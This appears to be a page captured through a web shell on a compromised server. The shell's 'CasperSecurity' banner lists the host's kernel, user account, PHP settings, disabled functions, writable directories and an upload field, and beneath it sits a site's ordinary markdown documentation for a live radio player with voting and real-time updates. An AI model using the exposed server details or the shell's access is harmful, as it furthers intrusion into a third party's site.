T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/radio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/radio/HOW_IT_WORKS.md
# How the Live Radio Player Works

## 🎯 Overview

The live radio system has **two main components**:

1. **B2B Platform** (`/radio/`) - For radio stations to manage music licensing
2. **B2C Live Player** (`/radio/live.php`) - For listeners to tune in and vote

---

## 📊 System Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                    RADIO STATION DASHBOARD                  │
│              /radio/dashboard/live_stream.php               │
│                                                             │
│  • Start/Stop Streams                                       │
│  • View Now Playing                                         │
│  • Manage Queue                                             │
│  • Play Tracks                                              │
└──────────────────────┬──────────────────────────────────────┘
                        │
                        │ API Calls
                        ▼
┌─────────────────────────────────────────────────────────────┐
│                    RADIO API v1                              │
│              /radio/api/v1/stream/*                         │
│                                                             │
│  POST /stream/start      - Start live stream                │
│  POST /stream/stop       - Stop live stream                 │
│  POST /stream/now_playing - Update current track           │
│  GET  /stream/status     - Get stream status                │
│  GET  /stream/queue      - Get queue                        │
└──────────────────────┬──────────────────────────────────────┘
                        │
                        │ Database Updates
                        ▼
┌─────────────────────────────────────────────────────────────┐
│                    DATABASE TABLES                           │
│                                                             │
│  radio_streams        - Stream sessions                     │
│  radio_now_playing    - Current track info                  │
│  radio_stream_queue   - Upcoming tracks                     │
│  radio_votes          - Listener votes                      │
│  radio_listeners      - Active listeners                    │
└──────────────────────┬──────────────────────────────────────┘
                        │
                        │ Real-time Updates
                        ▼
┌─────────────────────────────────────────────────────────────┐
│                    PUBLIC LIVE PLAYER                        │
│                    /radio/live.php                          │
│                                                             │
│  • Display Now Playing                                      │
│  • Show Listener Count                                      │
│  • Voting Interface                                         │
│  • Real-time Updates (SSE)                                  │
└─────────────────────────────────────────────────────────────┘
```

---

## 🔄 How It Works - Step by Step

### 1. **Station Sets Up Stream**

**Station Dashboard** (`/radio/dashboard/live_stream.php`):
- Station logs into their dashboard
- Clicks "Start Stream"
- Enters stream name (optional: stream URL)
- System creates a `radio_streams` record with `is_live = TRUE`

**What Happens:**
```php
// API Call: POST /radio/api/v1/stream/start
{
    "stream_name": "My Station Live",
    "stream_url": "https://stream.example.com/live"  // optional
}

// Creates record in radio_streams table:
// - station_id: Links to radio_stations table
// - is_live: TRUE
// - started_at: Current timestamp
```

---

### 2. **Station Plays a Track**

**Station Dashboard or API:**
- Station selects a track to play
- Calls API: `POST /radio/api/v1/stream/now_playing`
- System updates the database

**What Happens:**
```php
// 1. Ends previous track (if any)
UPDATE radio_now_playing 
SET ended_at = NOW() 
WHERE stream_id = ? AND ended_at IS NULL

// 2. Creates new now_playing record
INSERT INTO radio_now_playing (stream_id, track_id, started_at)
VALUES (?, ?, NOW())

// 3. Updates stream's current_track_id
UPDATE radio_streams 
SET current_track_id = ? 
WHERE id = ?

// 4. Logs the play (for compliance)
INSERT INTO radio_play_logs (...)
```

---

### 3. **Listeners Visit Live Player**

**Public Page** (`/radio/live.php`):
- Anyone can visit `/radio/live.php`
- Page automatically finds the first active stream
- Or: `/radio/live.php?station=123` for specific station

**What Happens:**
```php
// 1. Query for active stream
SELECT rs.*, rstr.* 
FROM radio_stations rs
LEFT JOIN radio_streams rstr ON rs.id = rstr.station_id
WHERE rstr.is_live = 1
ORDER BY rstr.listener_count DESC
LIMIT 1

// 2. Get current track
SELECT np.*, mt.title, mt.audio_url, u.name as artist_name
FROM radio_now_playing np
JOIN music_tracks mt ON np.track_id = mt.id
LEFT JOIN users u ON mt.user_id = u.id
WHERE np.stream_id = ? AND np.ended_at IS NULL

// 3. Get queue (upcoming tracks)
SELECT q.*, mt.title, mt.audio_url
FROM radio_stream_queue q
JOIN music_tracks mt ON q.track_id = mt.id
WHERE q.stream_id = ? AND q.played_at IS NULL
ORDER BY q.vote_count DESC
```

---

### 4. **Real-Time Updates (Server-Sent Events)**

**SSE Endpoint** (`/radio/api/live/stream.php`):
- Browser opens SSE connection
- Server sends updates every second

**What Gets Updated:**
```javascript
// Listener connects
const eventSource = new EventSource('/radio/api/live/stream.php?stream_id=123');

// Receives updates:
eventSource.onmessage = function(event) {
    const data = JSON.parse(event.data);
    
    // Update listener count
    if (data.type === 'listener_count') {
        document.getElementById('listener-count').textContent = data.count;
    }
    
    // Track changed
    if (data.type === 'now_playing') {
        // Reload page or update UI
        location.reload();
    }
    
    // Vote count changed
    if (data.type === 'vote_update') {
        document.getElementById('votes-' + data.track_id).textContent = 
            data.vote_count + ' votes';
    }
};
```

**Server-Side (SSE):**
```php
// Every 1 second, check for changes:
while (true) {
    // Check listener count
    $listener_count = getListenerCount($stream_id);
    if ($listener_count != $last_count) {
        echo "data: " . json_encode(['type' => 'listener_count', 'count' => $listener_count]) . "\n\n";
        flush();
    }
    
    // Check if track changed
    $current_track = getCurrentTrack($stream_id);
    if ($current_track != $last_track) {
        echo "data: " . json_encode(['type' => 'now_playing', 'track' => $current_track]) . "\n\n";
        flush();
    }
    
    sleep(1);
}
```

---

### 5. **Listener Voting System**

**Voting Flow:**
1. Listener sees upcoming tracks in queue
2. Clicks "Vote" button
3. JavaScript calls: `POST /radio/api/live/vote.php`

**What Happens:**
```php
// 1. Check if already voted (prevent duplicates)
SELECT id FROM radio_votes
WHERE stream_id = ? AND track_id = ? 
AND (user_session = ? OR user_ip = ?)
AND voted_at > DATE_SUB(NOW(), INTERVAL 1 HOUR)

// 2. Record vote
INSERT INTO radio_votes (stream_id, track_id, user_session, user_ip)
VALUES (?, ?, ?, ?)

// 3. Update queue vote count
UPDATE radio_stream_queue
SET vote_count = vote_count + 1
WHERE stream_id = ? AND track_id = ?

// 4. Queue is sorted by: priority DESC, vote_count DESC, queued_at ASC
```

**Queue Priority:**
- Tracks with more votes play first
- Station can manually set priority
- Older tracks in queue get slight preference

---

### 6. **Listener Tracking**

**Connection Tracking:**
```javascript
// When page loads
fetch('/radio/api/live/listener.php', {
    method: 'POST',
    body: JSON.stringify({
        stream_id: 123,
        action: 'connect'
    })
});

// When page closes
window.addEventListener('beforeunload', () => {
    navigator.sendBeacon('/radio/api/live/listener.php', JSON.stringify({
        stream_id: 123,
        action: 'disconnect'
    }));
});
```

**Database:**
```php
// Record listener connection
INSERT INTO radio_listeners (stream_id, user_session, user_ip, connected_at)
VALUES (?, ?, ?, NOW())

// Update listener count
UPDATE radio_streams
SET listener_count = (
    SELECT COUNT(*) FROM radio_listeners
    WHERE stream_id = ? 
    AND disconnected_at IS NULL
    AND last_seen > DATE_SUB(NOW(), INTERVAL 5 MINUTE)
)
```

---

## 🔗 Integration with `/radio` System

### **B2B Features (Existing)**
- **Music Catalog** - Stations browse licensed tracks
- **Playlists** - Create and manage playlists
- **Play Logging** - Track all plays for compliance
- **Analytics** - View play statistics
- **API Access** - Integrate with broadcast software

### **B2C Features (New)**
- **Live Streaming** - Public-facing radio player
- **Real-Time Updates** - SSE for live data
- **Voting** - Listeners influence playlist
- **Listener Stats** - Real-time count

### **How They Connect:**

1. **Stations use B2B dashboard** to:
   - Start streams
   - Select tracks to play
   - View queue and votes
   - Manage their live broadcast

2. **Listeners use B2C player** to:
   - Listen to live stream
   - See what's playing
   - Vote for next tracks
   - See listener count

3. **System connects them:**
   - Station actions update database
   - Database changes trigger SSE updates
   - Listeners see updates in real-time
   - Votes from listeners appear in station dashboard

---

## 📡 API Integration Example

**Broadcast Software Integration:**
```php
// When your broadcast software plays a track:

// 1. Log the play (existing API)
POST /radio/api/v1/plays
{
    "track_id": 123,
    "played_at": "2025-01-15T10:30:00Z",
    "duration_played": 180,
    "play_type": "full"
}

// 2. Update now playing (new API)
POST /radio/api/v1/stream/now_playing
{
    "track_id": 123
}

// This automatically:
// - Updates the live player
// - Logs the play for compliance
// - Updates listener displays
```

---

## 🎵 Complete Flow Example

**Scenario: Station plays a song**

1. **Station Dashboard:**
   - DJ clicks "Play Now" on track #456
   - Calls: `POST /radio/api/v1/stream/now_playing` with `track_id: 456`

2. **Backend:**
   - Updates `radio_now_playing` table
   - Sets `radio_streams.current_track_id = 456`
   - Logs play in `radio_play_logs`

3. **SSE Server:**
   - Detects track change
   - Sends update to all connected listeners

4. **Live Player:**
   - Receives SSE update
   - Updates "Now Playing" display
   - Shows new track title, artist, artwork
   - Updates audio player (if track has audio_url)

5. **Listeners:**
   - See new track instantly
   - Can vote for next track
   - Listener count updates in real-time

---

## 🔧 Key Files

| File | Purpose |
|------|---------|
| `/radio/live.php` | Public-facing live player |
| `/radio/dashboard/live_stream.php` | Station stream management |
| `/radio/api/live/stream.php` | SSE endpoint for real-time updates |
| `/radio/api/live/vote.php` | Handle listener votes |
| `/radio/api/live/listener.php` | Track listener connections |
| `/radio/api/v1/stream/*` | Station API endpoints |
| `/radio/migrations/add_live_streaming_tables.php` | Database setup |

---

## 💡 Key Features

✅ **Real-Time Updates** - No page refresh needed  
✅ **Voting System** - Listeners influence playlist  
✅ **Listener Tracking** - Real-time count  
✅ **Queue Management** - Prioritized by votes  
✅ **API Integration** - Works with broadcast software  
✅ **Compliance** - All plays logged automatically  

---

## 🚀 Getting Started

1. **Run Migration:**
   ```
   /radio/migrations/add_live_streaming_tables.php
   ```

2. **Station Starts Stream:**
   - Login to `/radio/dashboard/`
   - Go to "Live Stream" section
   - Click "Start Stream"

3. **Station Plays Track:**
   - Use dashboard or API
   - Select track to play
   - System updates live player automatically

4. **Listeners Tune In:**
   - Visit `/radio/live.php`
   - See current track
   - Vote for next tracks
   - Real-time updates happen automatically

---

This creates a complete **B2B + B2C hybrid platform** where stations manage their broadcast and listeners interact in real-time! 🎉


CasperSecurity Mini